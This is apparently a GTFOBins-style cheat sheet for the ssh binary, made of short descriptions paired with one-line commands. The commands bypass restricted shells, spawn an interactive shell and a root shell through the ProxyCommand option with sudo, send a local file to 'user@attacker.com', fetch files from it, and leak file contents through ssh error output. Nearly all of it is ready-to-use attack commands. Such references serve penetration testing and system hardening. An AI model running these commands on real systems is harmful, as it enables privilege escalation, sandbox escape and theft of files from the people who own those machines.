| description |
code |
| Reconnecting may help bypassing restricted shells. |
ssh localhost $SHELL --noprofile --norc |
|
| description |
code |
| Spawn interactive shell through ProxyCommand option. |
ssh -o ProxyCommand=';sh 0<&2 1>&2' x |
|
|
| description |
code |
| Send local file to a SSH server. |
HOST=user@attacker.com
RPATH=file_to_save
LPATH=file_to_send
ssh $HOST "cat > $RPATH" < $LPATH
|
|
|
| description |
code |
| Fetch a remote file from a SSH server. |
HOST=user@attacker.com
RPATH=file_to_get
LPATH=file_to_save
ssh $HOST "cat $RPATH" > $LPATH
|
|
|
| description |
code |
| The read file content is corrupted by error prints. |
LFILE=file_to_read
ssh -F $LFILE localhost
|
|
|
| description |
code |
| Spawn interactive root shell through ProxyCommand option. |
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x |
|
|